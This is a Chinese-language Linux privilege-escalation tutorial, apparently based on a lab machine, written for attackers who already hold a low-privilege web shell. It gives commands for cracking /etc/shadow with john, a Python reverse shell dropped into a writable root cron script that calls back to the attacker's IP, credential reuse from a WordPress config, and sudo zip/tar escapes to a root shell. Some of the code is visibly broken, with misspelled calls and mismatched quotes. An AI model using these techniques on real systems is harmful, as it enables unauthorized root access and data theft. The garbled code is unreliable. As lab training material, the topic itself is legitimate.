提權介紹
- 往往我們能拿下服務器的web服務只是具有低權限用戶(www-data),對於內網滲透,我們需要提權到root。Linux系統的提權過程不止涉及到了漏洞,也涉及了很多系統配置。
- 提權前提:
- 已經拿到低權shell
- 被入侵的機器上面有nc,python,perl等linux非常常見的工具
- 有權限上傳文件和下載文件
內核漏洞提權
內核漏洞是我們幾乎最先想到的提權方法。通殺的內核漏洞是十分少見的,因而我們應該先對系統相關的信息進行收集。
- 查看發行版本:cat /etc/issue ; cat /etc/*-release
- 查看內核版本:uname –a
- 找到系統版本號,通過kali的searchsploit查找該版本是否存在漏洞
- 發現不存在內核溢出代碼
- 假若存在內核溢出代碼,可通過如下命令,上傳內核溢出代碼,編譯執行
明文root提權-通過passwd和shadow破譯密碼
大多linux系統的密碼都和/etc/passwd和/etc/ shadow這兩個配置文件息息相關。passwd里面儲存了用戶,shadow里面是密碼的hash。出於安全考慮passwd是全用戶可讀,root可寫的。shadow是僅root可讀寫的。
例如破解linux用戶名和對應的密碼
- /etc/passwd /etc/shadow
- unshadow passwd shadow > cracked
- john cracked
計划任務
系統內可能會有一些定時執行的任務,一般這些任務由crontab來管理,具有所屬用戶的權限。非root權限的用戶是不可以列出root用戶的計划任務的。但是/etc/內系統的計划任務可以被列出
- 使用命令:cat /etc/crontab 回車查看計划任務
默認這些程序以root權限執行,如果有幸遇到一個把其中腳本配置成任意用戶可寫的管理員,我們就可以修改腳本等回連rootshell;如果定時執行的文件是py腳本,可以使用一下的腳本來替換之前的腳本;
- 靶場代碼
#!/usr/bin/python
import os,subprocess,socket
s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM)
s.connect((“攻擊機IP地址”,”攻擊機監聽端口"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call([/bin/sh”,”-i1])- 攻擊機啟動nc監聽端口:nc -nlvp port
密碼復用
很多管理員會重復使用密碼,因此數據庫或者web后台的密碼也許就是root密碼。
有了(疑似)) root密碼怎么辦?你一定想ssh登陸。然而ssh很可能禁止root登陸,或是防火牆規則將你排除在外了。返回來想,我們不是有一個低權shell了嗎?找個辦法再上面“輸入”密碼就好了。顯然,直接在低權shell里面用sudo是不奏效的。這是因為出於安全考慮linux要求用戶必須從終端設備(tty)中輸入密碼,而不是標准輸入(stdin)。換句話說,sudo在你輸入密碼的時候本質上是讀取了鍵盤,而不是bash里面輸入的字符。因此為了能夠輸入密碼,我們必須模擬一個終端設備。python就有這樣的功能。在shell里面輸入:
- python -c 'import pty;pty.spawn("/bin/sh")'
- sudo
- sudo –l
- 嘗試弱口令登陸失敗
- 繼續探測敏感信息
進入 cs /home,ls查看用戶列表,發現zico用戶,進入用戶文件夾cd zico,查看文件夾內所有文件ls –alh,發現以下敏感信息
進入wordpress目錄,查看wp配置文件,發現
嘗試使用該用戶登陸
通過ssh登陸,成功登陸
使用sudo-l查看當前用戶可以使用root提權的命令信息;
利用zip進行提權
- -- touch exploit 新建exploit文件
- -- sudo -u root zip exploit.zip exploit -T -unzip -command="sh -c /bin/bash”
利用tar進行提權
- -- sudo -u root tar cf /dev/null exploit -checkpoint=1 --checkpoint -action="/bin/bash"